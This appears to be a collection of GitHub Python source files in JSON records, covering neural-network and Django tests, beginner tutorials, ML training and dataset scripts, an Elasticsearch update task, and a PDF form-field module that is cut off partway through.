+{"seq_id":"19113876581","text":"from neatsociety.iznn import Neuron, IzNetwork\n\n\ndef test_basic():\n    n = Neuron(10, 0.02, 0.2, -65.0, 8.0)\n    spike_train = []\n    for i in range(1000):\n        spike_train.append(n.v)\n        n.advance()\n\n\ndef test_network():\n    neurons = {0: Neuron(0, 0.02, 0.2, -65.0, 8.0),\n               1: Neuron(0, 0.02, 0.2, -65.0, 8.0),\n               2: Neuron(0, 0.02, 0.2, -65.0, 8.0)}\n    inputs = [0, 1]\n    outputs = [2]\n    connections = [(0, 2, 0.123), (1, 2, 0.234)]\n\n    net = IzNetwork(neurons, inputs, outputs, connections)\n    net.set_inputs([1.0, 0.0])\n    net.advance()\n    net.advance()\n","repo_name":"sarantinio/Torcs-Racing","sub_path":"ToxicRacing-Computational Intelligence/neat-society-master/tests/test_iznn.py","file_name":"test_iznn.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"6308026765","text":"from django.template.defaultfilters import _property_resolver, dictsort\nfrom django.test import SimpleTestCase\n\n\nclass User:\n    password = \"abc\"\n\n    _private = \"private\"\n\n    @property\n    def test_property(self):\n        return \"cde\"\n\n    def test_method(self):\n        \"\"\"This is just a test method.\"\"\"\n\n\nclass FunctionTests(SimpleTestCase):\n    def test_property_resolver(self):\n        user = User()\n        dict_data = {\n            \"a\": {\n                \"b1\": {\"c\": \"result1\"},\n                \"b2\": user,\n                \"b3\": {\"0\": \"result2\"},\n                \"b4\": [0, 1, 2],\n            }\n        }\n        list_data = [\"a\", \"b\", \"c\"]\n        tests = [\n            (\"a.b1.c\", dict_data, \"result1\"),\n            (\"a.b2.password\", dict_data, \"abc\"),\n            (\"a.b2.test_property\", dict_data, \"cde\"),\n            # The method should not get called.\n            (\"a.b2.test_method\", dict_data, user.test_method),\n            (\"a.b3.0\", dict_data, \"result2\"),\n            (0, list_data, \"a\"),\n        ]\n        for arg, data, expected_value in tests:\n            with self.subTest(arg=arg):\n                self.assertEqual(_property_resolver(arg)(data), expected_value)\n        # Invalid lookups.\n        fail_tests = [\n            (\"a.b1.d\", dict_data, AttributeError),\n            (\"a.b2.password.0\", dict_data, AttributeError),\n            (\"a.b2._private\", dict_data, AttributeError),\n            (\"a.b4.0\", dict_data, AttributeError),\n            (\"a\", list_data, AttributeError),\n            (\"0\", list_data, TypeError),\n            (4, list_data, IndexError),\n        ]\n        for arg, data, expected_exception in fail_tests:\n            with self.subTest(arg=arg):\n                with self.assertRaises(expected_exception):\n                    _property_resolver(arg)(data)\n\n    def test_sort(self):\n        sorted_dicts = dictsort(\n            [\n                {\"age\": 23, \"name\": \"Barbara-Ann\"},\n                {\"age\": 63, \"name\": \"Ra Ra Rasputin\"},\n                {\"name\": \"Jonny B Goode\", \"age\": 18},\n            ],\n            \"age\",\n        )\n\n        self.assertEqual(\n            [sorted(dict.items()) for dict in sorted_dicts],\n            [\n                [(\"age\", 18), (\"name\", \"Jonny B Goode\")],\n                [(\"age\", 23), (\"name\", \"Barbara-Ann\")],\n                [(\"age\", 63), (\"name\", \"Ra Ra Rasputin\")],\n            ],\n        )\n\n    def test_dictsort_complex_sorting_key(self):\n        \"\"\"\n        Since dictsort uses dict.get()/getattr() under the hood, it can sort\n        on keys like 'foo.bar'.\n        \"\"\"\n        data = [\n            {\"foo\": {\"bar\": 1, \"baz\": \"c\"}},\n            {\"foo\": {\"bar\": 2, \"baz\": \"b\"}},\n            {\"foo\": {\"bar\": 3, \"baz\": \"a\"}},\n        ]\n        sorted_data = dictsort(data, \"foo.baz\")\n\n        self.assertEqual([d[\"foo\"][\"bar\"] for d in sorted_data], [3, 2, 1])\n\n    def test_sort_list_of_tuples(self):\n        data = [(\"a\", \"42\"), (\"c\", \"string\"), (\"b\", \"foo\")]\n        expected = [(\"a\", \"42\"), (\"b\", \"foo\"), (\"c\", \"string\")]\n        self.assertEqual(dictsort(data, 0), expected)\n\n    def test_sort_list_of_tuple_like_dicts(self):\n        data = [\n            {\"0\": \"a\", \"1\": \"42\"},\n            {\"0\": \"c\", \"1\": \"string\"},\n            {\"0\": \"b\", \"1\": \"foo\"},\n        ]\n        expected = [\n            {\"0\": \"a\", \"1\": \"42\"},\n            {\"0\": \"b\", \"1\": \"foo\"},\n            {\"0\": \"c\", \"1\": \"string\"},\n        ]\n        self.assertEqual(dictsort(data, \"0\"), expected)\n\n    def test_invalid_values(self):\n        \"\"\"\n        If dictsort is passed something other than a list of dictionaries,\n        fail silently.\n        \"\"\"\n        self.assertEqual(dictsort([1, 2, 3], \"age\"), \"\")\n        self.assertEqual(dictsort(\"Hello!\", \"age\"), \"\")\n        self.assertEqual(dictsort({\"a\": 1}, \"age\"), \"\")\n        self.assertEqual(dictsort(1, \"age\"), \"\")\n\n    def test_invalid_args(self):\n        \"\"\"Fail silently if invalid lookups are passed.\"\"\"\n        self.assertEqual(dictsort([{}], \"._private\"), \"\")\n        self.assertEqual(dictsort([{\"_private\": \"test\"}], \"_private\"), \"\")\n        self.assertEqual(\n            dictsort([{\"nested\": {\"_private\": \"test\"}}], \"nested._private\"), \"\"\n        )\n","repo_name":"django/django","sub_path":"tests/template_tests/filter_tests/test_dictsort.py","file_name":"test_dictsort.py","file_ext":"py","file_size_in_byte":4167,"program_lang":"python","lang":"en","doc_type":"code","stars":74132,"dataset":"github-code","pt":"37"}
+{"seq_id":"15487264315","text":"# initializing an empty string\nemptystring = \" \"\n\nprint(type(emptystring))\n# to initialize an integer\nmynumber= 0\n # to initialize an empty list....\nemptylist= []\ncrazy= [\"Lizzy\",\"Kate\", 9, True]\n\ndaysOfTheWeek = [\"Sunday\",\"monday\",\"Tuesday\",\"Wednesday\",\"Thursday\",\"Friday\",\"Saturday\"]\nprint(daysOfTheWeek)\nno_of_days = print(len(daysOfTheWeek))\n# list indexing\nwednesday= daysOfTheWeek[3]\nprint(wednesday)\nprint(type(wednesday))\n# 1:3, will start from position 1 to 3 but 3 is exclusive. The last index is always exclusive\nmon_to_wed= daysOfTheWeek[3:3]\nprint(mon_to_wed)\n\ndetails= [\"Jacque\",24,\"jacque86@gmail.com\", \"Nairobi\"]\nage= details[1]\nlocation= details[-1]\n# print from reverse\nreverse= details[::-1]\nprint(\"Reverse\", reverse)\n# print just the two in reverse\nreverse2= reversed(details[2:3])\n# there is -1,-2,-3\nreverse= details[-2:4]\nprint(reverse)\n\nnumbers= [0,1,2,3,4,5,6,7,8,9,10]\nsub_num= numbers[-3:-1]\nprint(sub_num)\nreverse_num= numbers[-2:-4]\nprint(reverse_num)\n\n# for unique type cast using set()\n\n# appending/adding anything to a list\ndaysOfTheWeek.append(\"val\")\nprint(daysOfTheWeek)\ndaysOfTheWeek.append(numbers)\nprint(daysOfTheWeek)\n\nlast_val_daysoftheweek= daysOfTheWeek[-1]\nprint(last_val_daysoftheweek)\n# empty a list\n#daysOfTheWeek.clear()\ndaysOfTheWeek.extend(numbers)\nprint(daysOfTheWeek)\n# append adds to the list the way it is\n# extend is like match it adds to you list\nlist1= [0,1]\nlist2 = [2,3]\nlist3= list1+list2\nlist1.append(list2)\nlist1.extend(list2)\nprint(list1)\nprint(list3)\n\n\n","repo_name":"JChemtai123/training101","sub_path":"list.py","file_name":"list.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"6375637065","text":"# 文件操作分为读、写、修改\n\n# 以什么模式存文件，就以什么模式编码打开文件\n# 示例一：r是文本只读模式\nf = open(file='D:/��作／兼职联系信息.txt',mode='r',encoding='utf-8')  # 绝对路径访问\ndata = f.read()\nf.close()\n\n# 示例二：# rb：二进制只读模式，无法指定encoding,因为在该模式下数据读到内存里直接是bytes格式，如要查看内容还需手动decode\nf = open(file='兼职联系信息.txt', mode='rb')\n\n# 文件智能检查————可解决不清除要处理文件是什么编码的问题\nimport chardet   # chardet需要用pip安装第三方工具包（pip3 install chardet）\n'''\nhuangqiushi@MacBook-Air:~$ pip3 install chardet\nCollecting chardet\n  Using cached chardet-3.0.4-py2.py3-none-any.whl\nInstalling collected packages: chardet\nSuccessfully installed chardet-3.0.4\n'''\nf = open('兼职联系信息.txt',mode='rb')\ndata = f.read()\nf.close()\nresult = chardet.detect(data)  # 检查文件编码格式\nprint(result)  # 输出如下结果\n# {'encoding': 'utf-8', 'confidence': 0.87625, 'language': ''}\ndata.decode(\"utf-8\")   # 解码\n\n# 修改编码后查看文件信息\nf = open('兼职联系信息.txt',mode='r',encoding='utf-8')\ndata = f.read()\nprint(data)\n","repo_name":"hqs2212586/startMyPython3.0","sub_path":"第三章-文件操作和函数/文件操作/文件操作.py","file_name":"文件操作.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"72379258987","text":"import os\n\nfrom absl import app\nfrom absl import flags\n\nfrom glassy_dynamics import train as train_using_tf\nfrom glassy_dynamics import train_using_jax\n\nFLAGS = flags.FLAGS\n\nflags.DEFINE_string(\n    'data_directory',\n    '',\n    'Directory which contains the train and test datasets.')\nflags.DEFINE_integer(\n    'time_index',\n    9,\n    'The time index of the target mobilities.')\nflags.DEFINE_integer(\n    'max_files_to_load',\n    None,\n    'The maximum number of files to load from the train and test datasets.')\nflags.DEFINE_string(\n    'checkpoint_path',\n    None,\n    'Path used to store a checkpoint of the best model.')\nflags.DEFINE_boolean(\n    'use_jax',\n    False,\n    'Uses jax to train model.')\n\n\ndef main(argv):\n  if len(argv) > 1:\n    raise app.UsageError('Too many command-line arguments.')\n\n  train_file_pattern = os.path.join(FLAGS.data_directory, 'train/aggregated*')\n  test_file_pattern = os.path.join(FLAGS.data_directory, 'test/aggregated*')\n  train = train_using_jax if FLAGS.use_jax else train_using_tf\n  train.train_model(\n      train_file_pattern=train_file_pattern,\n      test_file_pattern=test_file_pattern,\n      max_files_to_load=FLAGS.max_files_to_load,\n      time_index=FLAGS.time_index,\n      checkpoint_path=FLAGS.checkpoint_path)\n\n\nif __name__ == '__main__':\n  app.run(main)\n","repo_name":"deepmind/deepmind-research","sub_path":"glassy_dynamics/train_binary.py","file_name":"train_binary.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":11900,"dataset":"github-code","pt":"37"}
+{"seq_id":"70695097068","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 12 17:24:35 2023\n\n@author: suij2\n\na11task1.py\nAssignment 11: Quantifying Investment Risk.\n\nFunctions to plot drawdowns in line graphs and histograms\n\"\"\"\n\nimport numpy as np\nimport scipy.stats as st\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom a9task1 import MCStockSimulator\n\ndef compute_drawdown(prices):\n    '''returns a pandas DataFrame with new columns prev_max the drawdown values in dollars and in percentage '''\n    #Copy prices data\n    prices_df = pd.DataFrame(data=prices, columns=['price'])\n    \n    #Adding and computing the new columns\n    prices_df['prev_max'] = prices_df['price'].cummax()\n    prices_df['dd_dollars'] = prices_df['prev_max'] - prices_df['price']\n    prices_df['dd_pct'] = prices_df['dd_dollars'] / prices_df['prev_max']\n    \n    return prices_df\n\ndef plot_drawdown(df):\n    '''plots the 2 graphs one is price and prev_max the other is drawdown pct'''\n    plt.figure(); df[['price','prev_max']].plot(title = \"Price and Previous Maximum\"); plt.legend(loc='best')\n    \n    plt.figure(); df[['dd_pct']].plot(title = \"Drawdown Percentage\"); plt.legend(loc='best')\n    \n\ndef run_mc_drawdown_trials(init_price, years, r, sigma, trial_size, num_trials):\n    '''simulates possible drawdowns using montecarlo simulation and then returns a pandaS series to show possible drawdowns'''\n    #Empty matrix to store all drawdown pct\n    trial_results = np.zeros(num_trials)\n                             \n    for i in range(num_trials):\n        MCSim = MCStockSimulator(init_price, years, r, sigma, trial_size)\n        prices = MCSim.generate_simulated_stock_values()\n        mc_dd = compute_drawdown(prices)\n        #Getting only the dd_pct\n        mc_pct = pd.DataFrame(data=mc_dd['dd_pct'])\n        #Getting Max drawdown each trial\n        ddHigh = mc_pct.max()\n        \n        #Adding Max drawdown to trial_results\n        trial_results[i] = ddHigh\n        \n    \n    return pd.Series(trial_results)","repo_name":"gimmymansui/FE459---Computational-Finance","sub_path":"a11task2.py","file_name":"a11task2.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"20947299981","text":"from xml.etree.ElementTree import Element\nfrom xml.etree.ElementTree import SubElement\nfrom xml.etree.ElementTree import ElementTree\n\ndef prettify(element, indent, newline, level = 0): \n    if element:    \n        if element.text == None or element.text.isspace():\n            element.text = newline + indent * (level + 1)\n        else:    \n            element.text = newline + indent * (level + 1) + element.text.strip()\\\n                         + newline + indent * (level + 1)\n    temp = list(element)\n    for subelement in temp:\n        if temp.index(subelement) < (len(temp) - 1):\n            subelement.tail = newline + indent * (level + 1)\n        else:\n            subelement.tail = newline + indent * level\n        prettify(subelement, indent, newline, level = level + 1)\n\n# declare a tag and add text.\ndef SubElementText(_parent,_tag, attrib={}, _text=None, **_extra):\n    result = SubElement(_parent,_tag,attrib,**_extra)\n    result.text = _text\n    return result\n\n# list to string\ndef l2s(input):\n    output = str(input[0])\n    for i in input[1:]:\n        output += ' ' + str(i)\n\n    return output","repo_name":"zhyma/yumi_gazebo_playground","sub_path":"yumi_gazebo/models/cable/xml_utility.py","file_name":"xml_utility.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"45225114718","text":"from datasets import load_dataset\nfrom torch.utils.data import DataLoader\nfrom transformers import AutoTokenizer\n\nclass DatasetPipeline:\n    def __init__(self, config):\n        '''\n        load data\n        noramlize column names\n        filter to min letter count\n        shuffle\n        sample based on train and eval size\n        '''\n        path_ = config.get('path')\n        name_ = config.get('name')\n        limit_text_size = config.get('limit_text_size')\n        self.tokenize_truncation = config.get('tokenize_truncation')\n        self.name = f'{path_}_{name_}'\n        print(limit_text_size)\n        if path_ in ('imdb','rotten_tomatoes'):\n            print('imdb')\n            self.raw_data = load_dataset(path=path_).rename_column(\"text\", \"sentence\")\n            self.raw_data['validation'] = self.raw_data.pop('test')\n        else:\n            self.raw_data = load_dataset(path=path_, name=name_)\n        print(self.raw_data)\n\n        # Remove all cases where text is less than text size for speed.\n        self.raw_data = self.raw_data.filter(\n            lambda x: len(x[\"sentence\"]) < limit_text_size, batched=False\n        )\n\n        self.train_len = self.raw_data['train'].num_rows\n        self.eval_len = self.raw_data['validation'].num_rows\n\n        self.raw_data['train'] = self.raw_data['train'].shuffle(seed=42)\n        self.raw_data['validation'] = self.raw_data['validation'].shuffle(seed=42)\n\n        if config.get('train_size') != 'None':\n            self.raw_data['train'] = self.raw_data['train'].select(\n                range(config.get('train_size'))\n            )\n        if config.get('eval_size') != 'None':\n            self.raw_data['validation'] = self.raw_data['validation'].select(\n                range(config.get('eval_size'))\n            )\n\n        print(self.raw_data)\n\n    def tokenize_function(self, examples):\n        return self.tokenizer(\n            examples[\"sentence\"],\n            padding=\"max_length\",\n            truncation=True,\n            max_length = 512,\n        )\n\n    def tokenize_load_dataset(self, model_name):\n        '''\n        Tokenizes using pretrained tokenizer of model_name\n        Clean columns\n        Shuffles and then samples using config params\n        '''\n        self.tokenized_model_name = model_name\n        self.tokenizer = AutoTokenizer.from_pretrained(self.tokenized_model_name)\n        tokenized_datasets = self.raw_data.map(self.tokenize_function, batched=True)\n\n        if 'idx' in self.raw_data.column_names.get('train'):\n            tokenized_datasets = tokenized_datasets.remove_columns([\"idx\"])\n\n        tokenized_datasets = tokenized_datasets.remove_columns([\"sentence\"])\n        tokenized_datasets = tokenized_datasets.rename_column(\"label\", \"labels\")\n        tokenized_datasets.set_format(\"torch\")\n\n        train_set = tokenized_datasets[\"train\"]\n        eval_set = tokenized_datasets[\"validation\"]\n\n        train_dataloader = DataLoader(train_set,\n                                            shuffle=True,\n                                            batch_size=8)\n        eval_dataloader = DataLoader(eval_set,\n                                            shuffle=False,\n                                            batch_size=8)\n\n        print(f\"train: {train_set}\")\n        print(f\"eval: {eval_set}\")\n        return train_dataloader, eval_dataloader\n\n\n","repo_name":"bipin-a/thesis-meng","sub_path":"code/load_dataset.py","file_name":"load_dataset.py","file_ext":"py","file_size_in_byte":3345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"72056632107","text":"#!/usr/bin/env python3\n# encoding: utf-8\n\"\"\"\n@author: liuzhiliang\n@license: \n@contact: liuzhiliang_pc@163.com\n@software: pycharm\n@file: sync_update_es_fields.py\n@time: 2021/4/25 10:51\n@desc: 修改应用库通用接口，包括更新download次数、修改status、is_used状态,已修改为仅用rowkey更新es，这个比较快\n\"\"\"\nimport time\nfrom tools.log import logInit\n\nfrom retrying import retry\nfrom pydantic import validate_arguments, ValidationError # 支持泛型参数校验\nfrom typing import Any, Tuple, List, Dict # 泛型类型支持\nimport json\nfrom init import celery, es, red_lock_factory\n\n\nlogger = logInit(\"ElasticSearch\")\n\ndef update_by_query_es_data(query_id: str, paras: List, indexs: str = \"dw_article\") -> Dict:\n    \"\"\"\n    查询更新，批量接口，支持重试\n    :param query_id: es模板\n    :param paras: 参数列表\n    :param indexs: 索引名\n    :return:\n    \"\"\"\n    @retry(stop_max_attempt_number=3)\n    def es_retry():\n        es_back = es.update_by_query_pro(query_id=query_id, paras=paras, indexs=indexs)\n        return es_back\n    es_back = {}\n    try:\n        es_back = es_retry()\n    except Exception as e:\n        logger.exception(msg=e)\n    status = es_back.get(\"success\", False)\n    return status\n\ndef get_batch_es_data(query_id: str, paras: List, indexs: str = \"dw_article\", max_nums: int = 10000) -> List:\n    \"\"\"\n    获取ES数据库数据，提供文档\n    :param indexs: es 索引名\n    :param query_id: es 模板\n    :param max_nums: 前nums数据\n    :param paras: 参数列表\n    :return:\n    \"\"\"\n    @retry(stop_max_attempt_number=3)\n    def es_retry():\n        es_back = es.search_pro(query_id=query_id, paras=paras, indexs=indexs)\n        return es_back\n    es_back = {}\n    try:\n        es_back = es_retry()\n    except Exception as e:\n        logger.exception(msg=e)\n    es_response = es_back.get(\"restResponse\")\n    datas = []\n    if es_response:\n        count = es_response[\"hits\"][\"total\"][\"value\"]\n        if count > 0:\n            datas = es_response[\"hits\"][\"hits\"][:max_nums]  # 取匹配的若干条数据,最多为10000条数据\n    return datas\n\n@validate_arguments # 类型不一致时自动强转变量类型\ndef validate_request(rowkey_list: List[str], vector_id_list: List[str], option: str) -> bool:\n    # 校验请求参数rowkey_list不能为空值\n    if option in (\"increase_download_count\", \"reduce_download_count\", \"ban\", \"re_clean\"):\n        if not rowkey_list:\n            return False\n    return True\n\n@celery.task\ndef run(request: Dict) -> Dict:\n    \"\"\"\n    处理查询请求\n    :param request: 请求参数\n    :return: 请求结果\n    \"\"\"\n    r = {}\n    # 只校验必须字段，其他字段无法校验\n    option = request.get(\"option\", \"increase_download_count\")\n    rowkey_list = request.get(\"rowkey_list\", [])\n    vector_id_list = request.get(\"vector_id_list\", [])\n\n    is_validated = False\n    try:\n        is_validated = validate_request(rowkey_list=rowkey_list, vector_id_list=vector_id_list, option=option)\n    except ValidationError as e:\n        logger.error(\"data validation failed: {}\".format(e))\n        r[\"retcode\"] = 1\n        r[\"msg\"] = \"some errors in arguments validation\"\n        logger.info(\"[更新请求] [结果:{}]\".format(str(r)))\n        return r\n\n    if not is_validated:\n        logger.error(\"data is []\")\n        r[\"retcode\"] = 1\n        r[\"msg\"] = \"some errors in arguments validation\"\n        logger.info(\"[更新请求] [结果:{}]\".format(str(r)))\n        return r\n\n    indexs = \"dw_article\"\n    if option in (\"increase_download_count\", \"reduce_download_count\", \"ban\",\"re_clean\"):\n        rowkey_list_str = json.dumps(rowkey_list, ensure_ascii=False)\n    else:\n        logger.error(\"{} option not support\".format(option))\n        r[\"retcode\"] = 1\n        r[\"msg\"] = \"option not support\"\n        logger.info(\"[更新请求] [结果:{}]\".format(str(r)))\n\n    with red_lock_factory.create_lock(f'update_es', ttl=120000):  # 加锁操作，120000毫秒/120秒失效\n\n        if option == \"increase_download_count\":\n            status = update_by_query_es_data(query_id=\"update_by_query_increase_download_count\", paras=[rowkey_list_str], indexs=indexs)\n        elif option == \"reduce_download_count\":\n            status = update_by_query_es_data(query_id=\"update_by_query_reduce_download_count\", paras=[rowkey_list_str], indexs=indexs)\n        elif option == \"ban\":\n            status = update_by_query_es_data(query_id=\"update_by_query_to_ban\", paras=[rowkey_list_str], indexs=indexs)\n        elif option == \"re_clean\":\n            status = update_by_query_es_data(query_id=\"update_by_query_re_clean\", paras=[rowkey_list_str], indexs=indexs)\n        if not status: # 传入基础服务失败\n            logger.warning(\"es service connect fail\")\n            r[\"retcode\"] = 1\n            r[\"msg\"] = \"es service error\"\n            logger.info(\"[更新请求] [结果:{}]\".format(str(r)))\n            return r\n        # 检查es操作是否完成，后续可接es基础服务的异步结果，目前不支持\n        longest_time = 60  # 允许基础服务积压60秒处理\n        check_query_id_dict = {\"increase_download_count\": \"query_check_increase_download_count\",\n                               \"reduce_download_count\": \"query_check_reduce_download_count\",\n                               \"ban\": \"query_check_to_ban\",\n                               \"re_clean\": \"query_check_re_clean\", }\n        # 需要说明的是，当限制最大使用次数不等于1时，检查操作完成要跳过。\n        # increase_download_count和reduce_download_count两个需要es基础服务的返回才有效\n        while longest_time > 0:\n            time.sleep(1)\n            longest_time -= 1\n            check_dw_datas = get_batch_es_data(query_id=check_query_id_dict.get(option), paras=[rowkey_list_str],\n                                               indexs=indexs)\n            if len(check_dw_datas) == 0:\n                break\n    r[\"retcode\"] = 0\n    r[\"msg\"] = \"success\"  # 完全执行成功，不考虑es基础服务正常返回\n    logger.info(\"[更新请求] [结果:{}]\".format(str(r)))\n    return r\n\n\nif __name__ == \"__main__\":\n\n    request = {\n        \"rowkey_list\": [\"020058828560700da7544f5f1de51b\", \"0200773838847028f290c8f76e44dd\"],\n        # \"option\": \"increase_download_count\",\n        \"option\": \"reduce_download_count\",\n    }\n\n    run(request)\n\n","repo_name":"liuzhiliangpc/shop-article","sub_path":"scripts/旧版备份/sync_update_es_fields.py","file_name":"sync_update_es_fields.py","file_ext":"py","file_size_in_byte":6387,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"42140292817","text":"N = int(input())\ncosts = list(map(int, input().split()))\nmin_cost = float('inf')\nl_c = len(costs)\nans = ()\n\nfor i in range(l_c - 1):\n    start = i + 1\n    end = l_c - 1\n    cost = costs[i]\n\n    while start <= end:\n        mid = (start + end) // 2 \n        new_cost = costs[mid] + cost\n        abs_new_cost = abs(new_cost)\n        \n        if abs_new_cost < min_cost:\n            ans = (costs[i], costs[mid])\n            min_cost = abs_new_cost\n        \n        if new_cost < 0:\n            start = mid + 1\n        \n        else:\n            end = mid - 1\n\nprint(\" \".join(map(str, ans)))","repo_name":"W1nU/algorithm","sub_path":"first/2467.py","file_name":"2467.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"38428762539","text":"import io, math\nfrom . import baseclasses, bbox, pdfwriter, color, unit\nfrom .font.font import PDFHelvetica, PDFZapfDingbats\n\n# TODO:\n# - discuss behaviour under transformations with André and Jörg\n# - what about fillstyles here?\n# - where should e.g. a font be added to the registry:\n#   in processPDF or in __init__ of the PDF-item?\n# - test for double occurrance of field names:\n#   this leads to wrong/no display\n#\n# TODO horizontal alignment in textfields\n\n\n# flags for annotations:\nPDFannotflags = [(\"invisible\", 0), (\"hidden\", 1), (\"printable\", 2),\n    (\"nozoom\", 3), (\"norotate\", 4), (\"noview\", 5), (\"readonly\", 6)]\n\n# flags for form fields\nPDFformflags = [(\"readonly\", 0), (\"required\", 1), (\"noexport\", 2),\n    # flags for the button field\n    (\"notoggletooff\", 14), (\"radio\", 15), (\"pushbutton\", 16),\n    # flags for the choice list field\n    (\"combo\", 17), (\"edit\", 18), (\"sort\", 19), (\"multiselect\", 21),\n    # flags for the text field\n    (\"multiline\", 12), (\"password\", 13), (\"fileselect\", 20), (\"donotspellcheck\", 22),\n    (\"donotscroll\", 23)]\n\n\nclass flag: # <<<\n    \"\"\"A helper class for handling flags in pdf forms and annotations\"\"\"\n\n    def __init__(self, value=None):\n        self.value = value\n\n    def is_set(self, bit):\n        return self.value is not None and (self.value & 1<<bit) == 1<<bit\n\n    def set(self, bit):\n        if self.value is None:\n            self.value = 1<<bit\n        else:\n            self.value = self.value | 1<<bit\n\n    def unset(self, bit):\n        if self.value is not None:\n            self.value = self.value & ~(1<<bit)\n\n    def __int__(self):\n        return self.value\n\n    def __str__(self):\n        return self.value.__str__()\n# >>>\ndef _pdfflags(flags): # <<<\n    \"\"\"Splits flags into annotation/form part\n     the flag for the annotation dictionary\n     the flag for the form (field) dictionary\n\n    All flags are handled equally here, independent of their use\n    for the specific form field.\n    \"\"\"\n\n    # we initialize with 0 and set only those flags which are not 0\n    annotflag = flag(value=0)\n    formflag = flag(value=0)\n\n    for key, value in PDFannotflags:\n        if key in flags and flags[key]:\n            annotflag.set(value)\n\n    for key, value in PDFformflags:\n        if key in flags and flags[key]:\n            formflag.set(value)\n\n    return int(annotflag), int(formflag)\n# >>>\ndef _pdfalignment(string): # <<<\n    alignflag = 0\n    if string == \"c\":\n        alignflag = 1\n    elif string == \"r\":\n        alignflag = 2\n    return alignflag\n# >>>\ndef _topt(value, type=\"u\", un=\"cm\"): # <<<\n    if isinstance(value, unit.length):\n        return unit.topt(value)\n    else:\n        return unit.topt(unit.length(value, type, un))\n# >>>\ndef _simplestring(text): # <<<\n    result = \"\"\n    for x in text:\n        if x.isalnum():\n            result += x\n    return result\n# >>>\ndef _sizetrafo(s, tr): # <<<\n    x1, y1 = tr.apply_pt(s, s)\n    x0, y0 = tr.apply_pt(0, 0)\n    return math.hypot(x1 - x0, y1 - y0) * math.sqrt(0.5)\n# >>>\n\n\nclass formfield(baseclasses.canvasitem): # <<<\n    \"\"\"Base class for acroforms\"\"\"\n\n    defaultflags = dict()\n\n    def selectflags(self, flags):\n        newflags = dict(**self.defaultflags)\n        # overwrite the default flags with given values:\n        for key, value in list(flags.items()):\n            if key in newflags:\n                newflags[key] = value\n            else:\n                raise RuntimeError(\"unknown argument \\\"%s\\\" to formfield\" % key)\n        return newflags\n\n    def bbox(self):\n        return bbox.bbox_pt(self.llx_pt, self.lly_pt, self.urx_pt, self.ury_pt)\n\n    def processPS(self, file, writer, context, registry, bbox):\n        raise RuntimeError(\"postscript output of forms is not supported\")\n# >>>\n\n\nclass textfield(formfield): # <<<\n    \"\"\"An interactive pdf form field for text input.\n\n    The \"name\" is used for the graphical user interface and for exporing the input data.\n    Note that the behaviour under rotations is undefined.\"\"\"\n\n    defaultflags = dict(invisible=0, hidden=0, printable=1, nozoom=0, norotate=0, noview=0,\n        readonly=0, required=0, noexport=0, multiline=0, password=0, fileselect=0,\n        donotspellcheck=1, donotscroll=0)\n\n    def __init__(self, x, y, width, height, name, defaultvalue=\"\", fontsize=10, font=PDFHelvetica,\n        fontrelleading=1.16, borderwidth=0, align=\"l\", **flags):\n\n        self.llx_pt, self.lly_pt = _topt(x), _topt(y)\n        self.urx_pt, self.ury_pt = _topt(x+width), _topt(y+height)\n        self.name = name\n        self.defaultvalue = defaultvalue\n        self.fontsize_pt = _topt(fontsize, \"x\", \"pt\")\n        self.font = font\n        self.fontrelleading = fontrelleading\n        self.borderwidth_pt = _topt(borderwidth, \"x\", \"pt\")\n        self.align = align\n        self.flags = self.selectflags(flags)\n\n    def processPDF(self, file, writer, context, registry, bbox):\n        # the bounding box is transformed by the canvas\n        bbox += self.bbox()\n\n        # the annotation rectangle must be transformed separately:\n        llx_pt, lly_pt = context.trafo.apply_pt(self.llx_pt, self.lly_pt)\n        urx_pt, ury_pt = context.trafo.apply_pt(self.urx_pt, self.ury_pt)\n        fontsize_pt = _sizetrafo(self.fontsize_pt, context.trafo)\n        borderwidth_pt = _sizetrafo(self.borderwidth_pt, context.trafo)\n\n        # we create numbers from the flags given\n        annotflag, formflag = _pdfflags(self.flags)\n        alignflag = _pdfalignment(self.align)\n\n        registry.add(PDFtextfield((llx_pt, lly_pt, urx_pt, ury_pt), self.name, self.defaultvalue,\n          fontsize_pt, self.font, self.fontrelleading*fontsize_pt,\n          borderwidth_pt, (not self.flags[\"multiline\"]),\n          alignflag, annotflag, formflag, context.fillstyles, writer, registry))\n# >>>\nclass PDFtextfield(pdfwriter.PDFobject): # <<<\n\n    def __init__(self, bb_pt, name, defaultvalue, fontsize, font, fontleading,\n        borderwidth, vcenter,\n        alignflag, annotflag, formflag, fillstyles, writer, registry):\n\n        pdfwriter.PDFobject.__init__(self, \"formfield_text\")\n\n        # append this formfield to the global document form\n        # and to the annotation list of the page:\n        self.PDFform = None\n        for object in registry.objects:\n            if object.type == \"form\":\n                object.append(self)\n                self.PDFform = object\n            elif object.type == \"annotations\":\n                object.append(self)\n\n        self.name = name\n        self.bb_pt = bb_pt\n        self.defaultvalue = defaultvalue\n        self.fontsize = fontsize\n        self.font = font\n        if self.font is None:\n            self.font = PDFHelvetica\n        self.fontleading = fontleading\n        self.borderwidth = borderwidth\n        self.alignflag = alignflag\n        self.formflag = formflag\n        self.annotflag = annotflag\n\n        self.registry = pdfwriter.PDFregistry()\n        self.registry.addresource(\"Font\", self.font.name, self.font, procset=\"Text\")\n        self.registry.add(self.font)\n\n        if self.defaultvalue:\n            text = self.defaultvalue.split(\"\\n\")\n            self.defaulttext = 